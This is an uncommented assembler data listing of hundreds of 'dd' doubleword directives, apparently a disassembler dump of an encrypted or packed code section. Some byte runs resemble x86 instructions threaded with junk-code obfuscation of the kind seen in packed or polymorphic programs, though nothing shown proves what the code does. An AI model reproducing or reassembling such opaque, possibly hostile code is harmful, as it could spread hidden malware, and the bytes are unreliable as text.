		dd 0BF79F57Ch, 0E4879E15h, 98115691h, 0D3B97Dh,	159C58B0h
		dd 0C82595C4h, 0EF66CC0Ch, 2E7221DCh, 0D1022EE5h, 9C4F8761h
		dd 3E7DF92Fh, 0E36A46F6h, 97277621h, 0D77DBD79h, 3E7DB2E6h
		dd 5AD3FFF6h, 8445816Ah, 498565D5h, 9AAA2389h, 2275B571h
		dd 0CB427A92h, 0F99421F8h, 83EFCF8Ch, 87DD6E3Fh, 0D41D89B7h
		dd 0A84171F8h, 0EC1DAD6Ch, 1B2E330h, 1D89B7CBh,	77B53C10h
		dd 44CE0BC2h, 2A4664B4h, 0A9429677h, 2090436Dh,	0C3FB10C8h
		dd 0E872DEDh, 508C7DCDh, 4630F390h, 8F5C72AAh, 0D4F1C83Ch
		dd 0CD219144h, 0A18D9811h, 0ABC10560h
		dd 0EB23C878h, 9100B362h, 5E3A7112h, 0E304B272h, 0D919D537h
		dd 2C9C5D73h, 76C303BBh, 4B8111FAh, 0A0F591B3h,	0EC5C8F47h
		dd 884BC2FAh, 352B473Bh, 89E324B7h, 0D70FF848h,	0B2E65504h
		dd 0FFBFD54Bh, 2D985AD3h, 358DF527h, 0D6368655h, 4674DE1Eh
		dd 4AE6EA6h, 9EC3AF8Dh,	0C070B16Dh, 4C2FEF27h, 8231E288h
		dd 3BB91043h, 2F65A488h, 3Eh, 254F8B25h, 2C0DA7F6h, 675DAE76h
		dd 0E3398A59h, 28EF923Ch, 4FBE8D04h, 18E52E5Ch,	749A3EA8h
		dd 0FCD278B8h, 0A1F963Ch, 0BB50E626h, 4268C203h, 22488B4Fh
		dd 56D642F1h, 775BF63Eh, 0AD5E7EF2h, 80407C6Dh,	94C5042Ah
		dd 8108C424h, 19CAA064h, 4A8A42A9h, 0BB869E0h, 0E52F51F2h
		dd 0B000D3FFh, 0D161A05Ch, 2241813Dh, 0EC5F8CE6h, 0EBDB7995h
		dd 407C6EDEh, 0B6A32A80h, 15F9499Ah, 0C2EC28C5h, 0E321A802h
		dd 0EB69FE56h, 1D77B3FCh, 85DC7DCEh, 8DA1F287h,	8FA0F84Dh
		dd 85520397h, 903167D4h, 527E0397h, 718DF9DBh, 2B40E9F5h
		dd 23FFh, 4F8B7300h, 0EE5CF625h, 0E0F8FAh, 0BB869E0h, 0E52EC5BAh
		dd 0FCAB6B47h, 0A0609C4Ch, 1949830Ah, 43000000h, 0D2394F8Bh
		dd 360054E7h, 614DEF93h, 1B2614Fh, 0E52F570Ch, 373DFDD1h
		dd 9971AD5Eh, 5B08EAB1h, 7D39FA3h, 51000006h, 77C706BEh
		dd 13A3629Ah, 0B000C1FDh, 0ED5D9C58h, 7A07C6FEh, 0E925C483h
		dd 0B66E9828h, 0F32BC777h, 0AD698232h, 0C774256Ch, 0E8DF0991h
		dd 0CB75F9DEh, 0C9A3679Fh, 4328A91Ah, 0D9F5E52Fh, 1F188C39h
		dd 0D1152FF7h, 683968BBh, 864285DBh, 6FE6CAB8h,	2231855Ch
		dd 0A81BCAAEh, 0BF325574h, 7BBB95B9h, 202B862Ch, 68165CB9h
		dd 0AAC004E1h, 0E420C979h, 0D6078E24h, 0CEA52A65h, 0EE03B3B4h
		dd 86AABF36h, 0C804E555h, 9450B909h, 547F947Ch,	38744831h
		dd 572h, 1EDF17FAh, 448541AEh, 1FDE16F4h, 46873FAFh, 1EDF17F6h
		dd 1ECD9A63h, 759727E6h, 24C878B9h, 709929E8h, 6D3C75B4h
		dd 0DF098ADEh, 7CF0D7E8h, 2AE20FBFh, 0F9C940EAh, 6A3CD410h
		dd 325B08EAh, 52C420Eh,	59B40000h, 0FFEC5C9Dh, 58B606C7h
		dd 0FDED5D9Ch, 59B000C1h, 0D8215C9Dh, 69A8648Bh, 36F72FD9h
		dd 73B26A86h, 33F22AC3h, 44982B7Ah, 89E8DF09h, 0AD5E22AEh
		dd 56E6B171h, 6E8B02BAh, 0A013C0AAh, 0E52753E3h, 0A0C50428h
		dd 6EDD0E64h, 0EBE357D7h, 0FE36D4E4h, 6BA510D0h, 0FFCF359h
		dd 4B8368D8h, 6884E0C2h, 322497ECh, 0ABE4h, 9ECB6800h
		dd 1BC8A266h, 2F4329A8h, 3ADAF6E5h, 36562F8Fh, 0E2884C45h
		dd 99178231h, 3160BAE2h, 0F29B4E82h, 36BF93CBh,	6CDC0F23h
		dd 0DCF467Eh, 13C0AA6Eh, 830251A0h, 21F2DEC1h, 6FBC7891h
		dd 4578D3Eh, 0D360D2A2h, 0D2A2047Dh, 0D3F9EEC2h, 53902B06h
		dd 840D236Ch, 49A61647h, 0AEE14D8Dh, 1339F4C9h,	9EAE2709h
		dd 1359B16Dh, 413E1745h, 44C317Dh, 79940000h, 1FCC7CBDh
		dd 789626E7h, 1DCD7DBCh, 799020E1h, 0F8017CBDh,	498844ABh
		dd 16D70FF9h, 53924AA6h, 13D20AE3h, 64B80B5Ah, 0A9E8DF08h
		dd 91A4028Eh, 0AE000000h, 0D2394F8Bh, 360054E7h, 614DEF93h
		dd 0B258F4Fh, 549C6BD8h, 0CDE1E527h, 873DAE1Eh,	0BB85C39h
		dd 0F64749D5h, 3B1E361Ah, 8D49A3A5h, 0FC4C8DA3h, 7013D30Bh
		dd 0BE0DDEB4h, 0EBE3EE7Fh, 3760A08Ch, 9FAD6987h, 0D17BBB73h
		dd 1379BD58h, 18EA73C0h, 5B77F290h, 15D56FB3h, 0D19DA16Fh
		dd 3B6h, 0DA1BD33Eh, 8849856Ah,	0DB1AD238h, 8A4B836Bh
		dd 0DA1BD33Ah, 0FA115EA7h, 59B303C2h, 0EC5C9Dh,	54B505C4h
		dd 41105998h, 0DF079EF2h, 48C4E3E8h, 9336075Dh,	361A72EFh
		dd 5397EF93h, 7A59EA39h, 0C7E52754h, 6C9D2BEBh,	0D2058B0h
		dd 88B461BDh, 361C4h, 0CC08EB00h, 9450BD0Dh, 0CF07E555h
		dd 964EBE0Eh, 0CC08E757h, 0FA89700Dh, 0AA1ADB13h, 0F5458440h
		dd 0AC1CDD19h, 0B42833Bh, 7B3E95Ah, 0DFF8E8DFh,	71AD5E53h
		dd 0B556E6B1h, 0D115F079h, 933968BBh, 349C9F0Ah, 0E3DB4A4h
		dd 0E52EFB6Fh, 28E408B8h, 0DECB42E8h, 578033F2h, 41BD9457h
		dd 0BA172AAh, 0DE2169A3h, 0A86BE215h, 0F535F118h, 3BFE12A2h
		dd 27905488h, 9BB5994Dh, 69BF0C5Bh, 0B64D2790h,	0D83DB49Ah
		dd 0E5B4751Fh, 0F032E64Fh, 0CE4741F7h, 71AD5E42h, 2EE607B1h
		dd 0F614BEEFh, 7CE48062h, 5C987DF4h, 7B4E536h, 0EF9327D1h
		dd 6ABB321Eh, 83D96A3Bh, 0C8EF9327h, 1BACCE4h, 0B36C233Ch
		dd 2D54093Ah, 0B599E52Eh, 5988C075h, 4E6AF63Eh,	9742C622h
		dd 2A4639EFh, 0CA000000h, 0F6254F8Bh, 35C014A7h, 210DEF93h
		dd 7BCA79A8h, 0E52F3Bh,	0FF59EC2Ch, 0F3F63F3Fh,	0DB5FBBD7h
		dd 0D139E8B9h, 9Dh, 71AD5E5Dh, 0C1FD12A2h, 7499AB01h, 45F331B8h
		dd 18AE6EA6h, 41F737EFh, 1EAD6CA8h, 0EF9330E5h,	27E61ECFh
		dd 7EBE7697h, 60B3D91Dh, 2F3E7AD3h, 2AEBC7E5h, 0EB23CB7Bh
		dd 0ED08812Bh, 23904329h, 0EBCEE3F4h, 0B606D5F9h, 0EE5E9F57h
		dd 1F2FC7FFh, 0C968639Eh, 204B9F5h, 0A14C0000h,	0F714A465h
		dd 0A04EFE3Fh, 0F515A564h, 0A148F839h, 20D9A465h, 91508C63h
		dd 0CE0FC721h, 9B5A927Eh, 0CB0AC22Bh, 2C60D382h, 71E8DF06h
		dd 0AF5EDA56h, 674F876Bh, 8E09783Bh, 0DCCE264h,	51904CBDh
		dd 0E30FBF5Dh, 0B05DEB2Bh, 301EB474h, 0F2985CB9h, 3B239221h
		dd 84A8E52Fh, 3F97F144h, 28C1F63Fh, 0AF802CECh,	68C32910h
		dd 0DD19F1C3h, 630F2F1Dh, 0C2AE8A22h, 0E8B7A226h, 0E1A639h
		dd 0BF2A0000h, 75B15EEEh, 93361044h, 0F8715DEFh, 34E71FC8h
		dd 5AB26684h, 0E6C862A2h, 0ABFAAD6Fh, 9335C418h, 0AC2509EFh
		dd 3FAD6D9Ch, 0C3ED4787h, 9EF24110h, 0E3EF9335h, 318446CFh
		dd 0EF9330F6h, 30F12DDEh, 9F3BD161h, 169FB16Dh,	0DA09C526h
		dd 3AE4388Bh, 529EF93h,	0E92D4E8Ch, 88BA729Fh, 5784AA62h
		dd 2F3EADE4h, 2CC2F2E5h, 0B49A30F0h, 0BED41075h, 15C9C76Dh
		dd 525A5293h, 0CBB90ADBh, 10EBCEECh, 0B05FEF3Ch, 54E4B574h
		dd 15BF7FB7h, 0CF0FC727h, 2DDCEC65h, 9EFB19F1h,	0D5E96863h
		dd 0E199h, 4C886B00h, 14D03D8Dh, 4F8765D5h, 16CE3E8Eh
		dd 4C8867D7h, 7A09F08Dh, 2A9A5B93h, 75C504C0h, 2C9C5D99h
		dd 8BC203BBh, 53369DAh,	5F78E8DFh, 0DD0FBFD3h, 7198A821h
		dd 23C474B5h, 5E262AEBh, 7B171ADh, 20DC32E6h, 0A5644AE0h
		dd 0BD6E04C0h, 27547D0Eh, 6EAE82E5h, 59608939h,	4758B6EAh
		dd 0F9D7FBF6h, 0F3409339h, 0F647589Dh, 7747CEE2h, 3D8D5E96h
		dd 599A13CBh, 4C400E9h,	0CA4A49B1h, 7B173791h, 47F4C526h
		dd 1ACA7711h, 736B2561h, 0C4D3B88Fh, 0B707C6E8h, 0E85E9E56h
		dd 4617C400h, 0CAEB9FF5h, 0E8C0EC1Ah, 538B91FDh, 5C9E172Fh
		dd 9ADD9FBh, 589854B9h,	0A24B7BF2h, 0E6413D97h,	0DD09A117h
		dd 0CA9AB8ECh, 729051Ah, 599576C6h, 0CD599h, 0DF0000h
		dd 6FCF852Fh, 440C0889h, 0B35E41CDh, 0DC0DBB7Bh, 0BA56E020h
		dd 9274C202h, 0BD2C9A5Ah, 9877C101h, 0C22A9C5Ch, 8E7CCA0Ah
		dd 0CB209656h, 68DDD313h, 4DF5h, 68242C89h, 50D4h, 56241489h
		dd 0C681E689h, 4, 8704EE83h, 895C2434h,	0EC83240Ch, 241C8904h
		dd 0B42322BBh, 5BDA8906h, 240C8B54h, 4C481h, 0EC830000h
		dd 24148904h, 0FF08418Fh, 83592434h, 148B04C4h,	0E6895624h
		dd 4C681h, 0C6810000h, 4, 5C243487h, 0F84B7FE9h, 0B93FB5FFh
		dd 0B89C5DC6h, 6B4323Bh, 0E0FFC503h, 7CAAE6B1h,	264754F8h
		dd 39499CBDh, 4C676333h, 38A716E4h, 69EF82E7h, 572C31BFh
		dd 25F99F89h, 6B1AA094h, 4EB16114h, 23A4D227h, 71EF5719h
		dd 326E7C98h, 2040AFAEh, 3D1F24A7h, 60603EF0h, 3605A7AEh
		dd 7BDB0C8Fh, 29239D1Bh, 20862B81h, 5BEA514Dh, 5EF11717h
		dd 5F0F203Eh, 33898D8Dh, 11BA06B4h, 897EFAF7h, 0AC2F0D8Dh
		dd 0DBB70F06h, 1E0585C7h, 62DC06ACh, 6A0000h, 3E852h, 5A200000h
		dd 54895AC3h, 44810424h, 1A0424h, 52420000h, 86BBA4C3h
		dd 9A3647D7h, 25BDBD89h, 6E906ACh, 32000000h, 0E4A40B56h
		dd 0F185C746h, 6AC27h, 80000000h, 0B5FF93F2h, 6AC28B1h
		dd 31E9B589h, 95FF06ACh, 6AC0BF9h, 1085BD8Bh, 6A06ACh
		dd 214595FFh, 0C08B06ACh, 2B085DEBh, 1C780C52h,	70040DD7h
		dd 0C9EDF4F3h, 0C1AC2B62h, 0AC5723E0h, 15C8944Dh, 57B3C8F2h
		dd 3AF5D2FCh, 89DCD85Fh, 936441DBh, 9A4050C7h, 3F7A9467h
		dd 0CC6D6014h, 0A0B94136h, 0CA0391C3h, 0F0EDE555h, 0D0DFA4D4h
		dd 9F04E2BBh, 3540F11Bh, 331F6F6h, 814D932Ah, 7CAB548Fh
		dd 8D05A1F7h, 0B434F38Dh, 57006A06h, 3E8h, 0C35F2000h
		dd 247C895Fh, 24448104h, 1504h,	0C3574700h, 8D89D6F1h
		dd 6AC2F0Dh, 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h
		dd 16h,	6C35343h, 12E9EEEAh, 4C000000h,	14F0384h, 290271EFh
		dd 330D7494h, 5BB98AB4h, 585C7E0h, 1806AC1Eh, 6A000070h
		dd 3E85000h, 20000000h,	8958C358h, 81042444h, 1C042444h
		dd 40000000h, 0A621C350h, 0B095CFB9h, 0C7A53405h, 0AC27F185h
		dd 6, 53006A00h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h
		dd 1C04h, 0C3534300h, 0FF8FB20Ah, 12E4BD9h, 9B5FFD8h, 0E906AC0Eh
		dd 5, 9D4704CAh, 0D681660Bh, 95FF54E1h,	6AC0BF9h, 0E852006Ah
		dd 3, 5AC35A20h, 4245489h, 4244481h, 18h, 0E5C35242h, 186BE7E0h
		dd 14958D89h, 9D8B06ACh, 6AC2705h, 95FF006Ah, 6AC2145h
		dd 5BEBC08Bh, 0B7D7363Ah, 0B4A762ADh, 0BC2D8BAEh, 5ED17D79h
		dd 5558F73Dh, 32C604EBh, 35C98645h, 3E859BB5h, 5F67AB1Dh
		dd 0C83F7E6Fh, 0AF300156h, 8B6B78D1h, 28BB66A8h, 0AE7B23A4h
		dd 0F6BFAEA0h, 0E040D678h, 56D165A8h, 83783928h, 0AE91B490h
		dd 2DEBFC5Eh, 7726A59Ch, 848F31CAh, 0EBF29C24h,	10h, 3 dup(0)
		dd 0FC08B00h, 686h, 19950900h, 8306AC19h, 0AC1E85BDh, 9750006h
		dd 0A29BD83h, 740006ACh, 8B535019h, 42DB8C0h, 85890000h
		dd 6AC0889h, 0A2649D8Dh, 0D3FF06AEh, 0BD83585Bh, 6AC0A29h
		dd 50177400h, 42DB853h,	85890000h, 6AC0889h, 9F539D8Dh
		dd 0D3FF06AEh, 0CE9585Bh, 0FF000000h, 0C283321h, 0E8813C2Eh
		dd 6A2A8864h, 3E85600h,	20000000h, 895EC35Eh, 81042474h
		dd 17042444h, 46000000h, 979BC356h, 870FCA1Dh, 6, 8F0Fh
		dd 0B70F0000h, 8BC08BF6h, 0AC33E1B5h, 68D28106h, 8B62FEB5h
		dd 0AC06E58Dh, 3583BA06h, 0F98337FFh, 73840F00h, 6A000000h
		dd 3E85300h, 20000000h,	895BC35Bh, 8104245Ch, 1A042444h
		dd 43000000h, 0C304C353h, 0FE7ECC95h, 585098Eh,	6406AC1Ch
		dd 2C3D8Bh, 0B5890000h,	6AC23B5h, 840FFF0Bh, 36h, 0CE9h
		dd 6617E500h, 55EC2678h, 8CA91BB7h, 0F3F8B0Bh, 0C032F2B7h
		dd 14E9h, 0E89E3D00h, 5FFDFD7Bh, 6FDE9525h, 40D7F907h
		dd 0E43A69Bh, 0F3D18ADEh, 4935F8AAh, 0BA535041h, 7EA0AF93h
		dd 333985C6h, 664706ACh, 0CA2BDE81h, 0ADC2F068h, 12E8CEh
		dd 7DEF0000h, 0AB4B3B7h, 0EE76CB6Ah, 9B0E9CCh, 0CDDE0305h
		dd 2434815Ah, 127B4ADCh, 0FFF1B70Fh, 0AC210DB5h, 0F8D68106h
		dd 8D4D5728h, 0AF692985h, 50006A06h, 3E8h, 0C3582000h
		dd 24448958h, 24448104h, 1904h,	0C3504000h, 0DE5AB9ABh
		dd 0B58BAE06h, 6AC0839h, 12E18589h, 89B606ACh, 0F60D0FFh
		dd 1686h, 10E800h, 0CC900000h, 0F72F5DEBh, 2E29EC5Ah, 7D7F2AB7h
		dd 0BF590587h, 37D6E34h, 45B58961h, 8906AC11h, 0AC0AE585h
		dd 5162BE06h, 85C671A7h, 6AC3339h, 25B66853h, 34818E72h
		dd 0EA4F4A24h, 13E906h,	0BDAE0000h, 0C7874F59h,	0B7D9A354h
		dd 64D857EFh, 40FD0478h, 0DB5FF41h, 6006AC21h, 1C818589h
		dd 860F06ACh, 6, 26719D89h, 8D6106ACh, 0AF692985h, 6860F06h
		dd 8B000000h, 0AC319595h, 6AD0FF06h, 3E85300h, 20000000h
		dd 895BC35Bh, 8104245Ch, 1C042444h, 43000000h, 0F0B5C353h
		dd 26D6160Ch, 8B58DAA2h, 0AC224595h, 15858D06h,	6A06AF32h
		dd 3E85500h, 20000000h,	895DC35Dh, 8104246Ch, 1D042444h
		dd 45000000h, 0F9FAC355h, 84417B8Ch, 3B545F66h,	2ED18589h
		dd 206A06ACh, 95FFFF6Ah, 6AC2ED1h, 50414935h, 0F585C753h
		dd 106AC32h, 0C7000000h, 0AC1DCD85h, 6,	50006A00h, 3E8h
		dd 0C3582000h, 24448958h, 24448104h, 1404h, 0C3504000h
		dd 53006AB2h, 3E8h, 0C35B2000h,	245C895Bh, 24448104h, 1704h
		dd 0C3534300h, 240E290Ch, 68F0Fh, 0B52B0000h, 6AC0B6Dh
		dd 2745958Bh, 858B06ACh, 6AC00BDh, 0E853006Ah, 3, 5BC35B20h
		dd 4245C89h, 4244481h, 18h, 71C35343h, 3FEEFB05h, 0CEACBA66h
		dd 0A364h, 0D68B0000h, 539BD83h, 0F0006ACh, 7184h, 56006A00h
		dd 3E8h, 0C35E2000h, 2474895Eh,	24448104h, 1604h, 0C3564600h
		dd 8ADFB426h, 49858BD4h, 6A06AC20h, 3E85500h, 20000000h
		dd 895DC35Dh, 8104246Ch, 18042444h, 45000000h, 2E9CC355h
		dd 8B139F4Ch, 0AC05ADB5h, 6AE08B06h, 3E85200h, 20000000h
		dd 895AC35Ah, 81042454h, 16042444h, 42000000h, 0AF51C352h
		dd 0DFCBEA8h, 0BD837387h, 6AC1AEDh, 1E850F00h, 6A000004h
		dd 3E85600h, 20000000h,	895EC35Eh, 81042474h, 1D042444h
		dd 46000000h, 8F4AC356h, 93CF8787h, 5AC06E80h, 6BD68166h
		dd 3985C64Bh, 5606AC33h, 12E9h,	0F5B72F00h, 0CE945B8Dh
		dd 0CFE8E277h, 0B20379CAh, 0E9AC0A2Eh, 14h, 68C512B2h
		dd 0EA505179h, 7960E088h, 9E02A499h, 98410747h,	0D6353D68h
		dd 6E85687h, 2C000000h,	23B06384h, 870F27h, 5E000000h
		dd 2404815Eh, 21EEFBA2h, 0B8E0Fh, 6E90000h, 0A6000000h
		dd 3F41C449h, 0DB5FF55h, 2906AC21h, 0AC141D8Dh,	29858D06h
		dd 8B06AF69h, 0FD0FFF1h, 0BD89F0B7h, 6AC0C09h, 800F5350h
		dd 2, 895E5A53h, 0FE92404h, 0F3000000h,	7C6CB196h, 0AC58F826h
		dd 0DAF21F3Ch, 8D8D7088h, 6AC2021h, 6EC68166h, 0F38B50E4h
		dd 6A240C89h, 3E85300h,	20000000h, 895BC35Bh, 8104245Ch
		dd 15042444h, 43000000h, 51FC353h, 41F1BA66h, 0E9958B50h
		dd 5E06AC13h, 10E9046Ah, 1B000000h, 30B9B18Dh, 0C8FC75F7h
		dd 2B2E55EDh, 686E8808h, 60C9462Ch, 88FFBE66h, 2C243481h
		dd 2360C956h, 0AC145D95h, 0C5B5FF06h, 6A06AC1Eh, 3E85200h
		dd 20000000h, 895AC35Ah, 81042454h, 1B042444h, 42000000h
		dd 0B325C352h, 7C74E5A2h, 8D893AEEh, 6AC0F15h, 8D89D0FFh
		dd 6AC0791h, 1EC5BD8Bh,	8B0F06ACh, 2, 7F03D38Bh, 0C681663Ch
		dd 8D892BA0h, 6AC312Dh,	0F8C781h, 12E90000h, 0E6000000h
		dd 74CE5304h, 4E0BD00Fh, 12B68E4Dh, 0CF60E681h,	2447C7D2h
		dd 60000020h, 37BC33BEh, 49B5897Dh, 8306AC2Bh, 0B43555BDh
		dd 840F0006h, 143h, 7E9h, 8B9A8C00h, 0EE6F0FD9h, 6628C783h
		dd 0C7DD4ABEh, 696A2E07h, 11E86064h, 60000000h,	0ED165585h
		dd 8777D9E3h, 8D6F07Fh,	1102C9CDh, 6E9h, 0B7547B00h, 5BCA5300h
		dd 0C761D68Bh, 74610447h, 958B0061h, 6AC0619h, 355D858Bh
		dd 6A06B4h, 3E850h, 58200000h, 448958C3h, 44810424h, 160424h
		dd 50400000h, 47B61C3h,	4789F28Bh, 0FD958B0Ch, 8B06AC0Eh
		dd 0B4356185h, 5830F06h, 66000000h, 6186F681h, 83084789h
		dd 14E828C7h, 0A3000000h, 0A666FD3Ah, 0FE3D8F60h, 0F1214DB3h
		dd 9028676Eh, 893B92E3h, 0AC2D89BDh, 7C75A06h, 6E6F632Eh
		dd 0E820Fh, 0B600000h, 0AC1CC99Dh, 99853306h, 6106AC1Eh
		dd 660447C7h, 9006769h,	0AC111595h, 59858B06h, 0E806B435h
		dd 9, 0B5B76F8Eh, 0F50C65A5h, 0D1BD8954h, 5E06AC23h, 302D8529h
		dd 478906ACh, 52006A0Ch, 3E8h, 0C35A2000h, 2454895Ah, 24448104h
		dd 1B04h, 0C3524200h, 9A1449D6h, 60347A83h, 35299523h
		dd 8E906ACh, 3C000000h,	41D34654h, 8BE717ACh, 0B4355585h
		dd 4789F906h, 0A9950908h, 5806AC1Ah, 0E851006Ah, 3, 59C35920h
		dd 4244C89h, 4244481h, 1Ah, 36C35141h, 3F91B27h, 9D89E032h
		dd 6AC077Dh, 8D8D92B2h,	6AC1519h, 14E9h, 8C236700h, 0D24B8D65h
		dd 8DDA395Ah, 0CAB3CDFAh, 4BB03B65h, 0B26050D7h, 0C8961ABh
		dd 0F18B6624h, 2021B5FFh, 0B58906ACh, 6AC0C39h,	4E8h, 100000h
		dd 0F5BA6600h, 8B6650EBh, 24448BF0h, 18830F04h,	0E8000000h
		dd 0Dh,	34AA450Eh, 2001E6D0h, 0EF1DDA29h, 9AFDBE7Dh, 8B5E5E55h
		dd 24448900h, 0E880F04h, 0E8000000h, 5,	0DFE46BD3h, 0D78B6610h
		dd 6A585Ah, 3E857h, 5F200000h, 7C895FC3h, 44810424h, 1B0424h
		dd 57470000h, 0AF0247C3h, 939CB53h, 15F6810Ch, 0F2776E7h
		dd 68Ch, 21B58B00h, 0FF06AC13h,	0AC1EC5B5h, 0D6B70F06h
		dd 6AD0FFh, 3E856h, 5E200000h, 74895EC3h, 44810424h, 1A0424h
		dd 56460000h, 97B14C3h,	3AEC9DEEh, 0B8F5h, 0B58B0000h
		dd 6AC345Dh, 840FC00Bh,	3Ch, 0FFF78B66h, 0AC0609B5h, 0A18D8906h
		dd 0FF06AC1Ah, 0AC0BF995h, 52006A06h, 3E8h, 0C35A2000h
		dd 2454895Ah, 24448104h, 1C04h,	0C3524200h, 3211B28Ch
		dd 0A1645F36h, 0F2B70FB4h, 0B533C08Bh, 6AC11B1h, 152D958Bh
		dd 0BD8306ACh, 6AC1E85h, 83097500h, 0AC0A29BDh,	19740006h
		dd 0C08B5350h, 42DB8h, 1858900h, 8D06AC0Ch, 0AEA2CB9Dh
		dd 5BD3FF06h, 29BD8358h, 6AC0Ah, 53501774h, 42DB8h, 1858900h
		dd 8D06AC0Ch, 0AE9F6C9Dh, 5BD3FF06h, 0ADB58B58h, 6A06AC31h
		dd 3E85100h, 20000000h,	8959C359h, 8104244Ch, 15042444h
		dd 41000000h, 0CE32C351h, 6AC08Bh, 3E855h, 5D200000h, 6C895DC3h
		dd 44810424h, 150424h, 55450000h, 0BA0E27C3h, 40CEBB53h
		dd 6880Fh, 95890000h, 6AC0185h,	1870Fh,	8BFC0000h, 0E68D8DC0h
		dd 6A06B43Eh, 3E85500h,	20000000h, 895DC35Dh, 8104246Ch
		dd 14042444h, 45000000h, 6608C355h, 8D89DE8Bh, 6AC2F0Dh
		dd 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h, 1Bh, 2BC35141h
		dd 0B345A1B7h, 8B404A42h, 0AC08B19Dh, 0A2EA8006h, 1E0585C7h
		dd 659406ACh, 0EE90000h, 0D8000000h, 216D9F46h,	497EF191h
		dd 3C31990Ch, 0F185C7D2h, 6AC27h, 8B000000h, 8DB5FFF2h
		dd 6606AC11h, 0FF9EA0BBh, 0AC0BF995h, 71858B06h, 6A06AC1Eh
		dd 4595FF00h, 8B06AC21h, 145FEBC0h, 0C0A64601h,	0D424BC62h
		dd 16BB1478h, 4A2D81FBh, 48E5EE81h, 0C30FFDADh,	33DF3DB6h
		dd 0DED0BC8Eh, 81EFD13Ch, 2FFFF5D9h, 8957D6B9h,	293B1CFCh
		dd 5C475D53h, 0D82DAF3Ch, 730CBB7Ah, 0F1392302h, 0F70BF796h
		dd 3A598EE6h, 0B4026AABh, 0E6CBFA9Bh, 22305E1Ah, 0A36F3A25h
		dd 0B822F5CAh, 9E873BDh, 4A000000h, 6FC7A872h, 6DBD9A76h
		dd 8158F28Bh, 7248C0h, 619D8900h, 6806AC11h, 0
		dd 5A2F47BAh, 0B6B65B43h, 8B0334FFh, 0AC11858Dh, 8D895F06h
		dd 6AC0E9Dh, 0AA8EF781h, 9D291C5Bh, 6AC25C5h, 694AEF81h
		dd 0BF0F5D3Eh, 0A4F781D1h, 814C7373h, 0F8BEEF1h, 0CB8B5779h
		dd 8118048Fh, 0BA3D4BEEh, 47C1804Bh, 2955EB81h,	3CBA03BBh
		dd 81210D66h, 0BB2951C3h, 0D1B70F03h, 8E3CFB81h, 850FFFFFh
		dd 0FFFFFFA0h, 8DD38B66h, 0B4408D8Dh, 59952906h, 8906AC09h
		dd 0AC2F0D8Dh, 53006A06h, 3E8h,	0C35B2000h, 245C895Bh
		dd 24448104h, 1404h, 0C3534300h, 0C9B52321h, 0C706AC0Dh
		dd 0AC1E0585h, 676406h,	89C78B00h, 0AC0BFD9Dh, 0F185C706h
		dd 6AC27h, 6A000000h, 3E85000h,	20000000h, 8958C358h, 81042444h
		dd 16042444h, 40000000h, 5077C350h, 19820F10h, 0E9000000h
		dd 14h,	0F29D0C0Dh, 0F7E1BEC0h,	617654ECh, 3906036Dh, 90F0693Eh
		dd 2801B5FFh, 0B1B206ACh, 0BF995FFh, 896006ACh,	0AC066D95h
		dd 6890F06h, 8B000000h,	0AC207985h, 6A6106h, 214595FFh
		dd 0C08B06ACh, 7C5B0EEBh, 0FA2F2A87h, 4019BFF7h, 0B06591CDh
		dd 24E9h, 62BA0000h, 2,	7 dup(0)
		dd 5B6E900h, 7D900000h,	0DB308041h, 0BC52E223h,	9971C100h
		dd 0BD2C9C5Dh, 44BDC001h, 0ED2CE807h, 0B273AB5Dh, 0F736EE02h
		dd 0AF6EA647h, 0D004B7E6h, 1DE8DEF5h, 15BFB63Ah, 5612A688h
		dd 93A32A72h, 2191427Ah, 5B9910CCh, 7C6FEEDh, 5E9E56B7h
		dd 7C7FFE8h, 0F7A65CB1h, 3C8B4D23h, 9325E5CBh, 70AC5E7Ah
		dd 0C3289E5Eh, 4E6CCB0Bh, 0F5D56322h, 0EB23C499h, 0B8769A2Ah
		dd 31CAE97Ch, 5293BDE1h, 24CA0EE2h, 0AC8228E8h,	0F430DA6Ch
		dd 0E8429334h, 8F5E2348h, 59CBE3B1h, 5D991344h,	224E6CE5h
		dd 885B937Fh, 921BD338h, 0CC08E151h, 4660B90Ch,	6288EF92h
		dd 2CDC6AAAh, 3E1E30F0h, 9DBD1352h, 11FD4DF1h, 36BF15D5h
		dd 0BBA03BBFh, 0C5C56FC0h, 4E1E93C3h, 8B06765Eh, 360CB65Ch
		dd 7C30BFh, 51E10000h, 17BD7DB9h, 0AD5E129Eh, 40F3A271h
		dd 0EF93360Ch, 36F47D51h, 803CD161h, 5063EA40h,	0EF9335FAh
		dd 56B2DEFEh, 0C0BB4FD2h, 15D13888h, 1139Ch, 5E9F0000h
		dd 16A675B1h, 0A802C2FAh, 0B855E321h, 0E20ABC7Ch, 0F8D8EA2Ah
		dd 7198288Ch, 0DF0C3CB5h, 16A5F427h, 0EF9335C2h, 69AA230Fh
		dd 0B9618838h, 0F05A9A52h, 866757DEh, 8FDE8F4Eh, 9335E83Ch
		dd 0E60535EFh, 6A44EE2Eh, 0AF5E6FE3h, 35E3398Ah, 428EF93h
		dd 0AF5CEA2Ah, 0E801B777h, 362E62D1h, 5F73EF93h, 0E907B171h
		dd 2A88ED2Dh, 0B7E6073Eh, 67D4E507h, 0EF933631h, 0BC7C527Eh
		dd 0D1BD9F16h, 60A15D8Ch, 7DD36031h, 0C2EF9335h, 356CA013h
		dd 9DB1EF93h, 0AF419BB3h, 0F6A1F64Bh, 669E4F7Fh, 0DEFA10A6h
		dd 9D37F72Fh, 7B5F73B3h, 7867F30Fh, 7C6DC0BBh, 0E1000000h
		dd 0B777AF5Eh, 0F333EB01h, 366EA445h, 6FD77C00h, 8F39F9D7h
		dd 4D65A561h, 0ABCF591h, 4AFA3E2Ah, 599575A5h, 941D3399h
		dd 488945A4h, 8B43A919h, 5868E14Bh, 3B575B1h, 0DFF333EBh
		dd 0E7738FFBh, 0EDC0BB48h, 53h,	8ADE6D3Ch, 0D7EF933Eh
		dd 0B57E23FDh, 7B55D705h, 0AF5E7EF2h, 0B1E0B777h, 9335CE02h
		dd 473913EFh, 0F4C001E3h, 0AB9B123Ch, 674F8F47h, 638ACFBBh
		dd 5E666AABh, 0B575B1h,	0EF9335C9h, 5FE38FAFh, 2D0B9BF5h
		dd 860F407Fh, 0BB9D8B0Fh, 181C0h, 0BF0D0000h, 36075DEEh
		dd 7854EF93h, 0F32BC1F1h, 0BC789020h, 0B605D67Ch, 0EF933562h
		dd 0C80A83AFh, 91518D7Eh, 5B6E736h, 0EF9335CFh,	9BB9301Ch
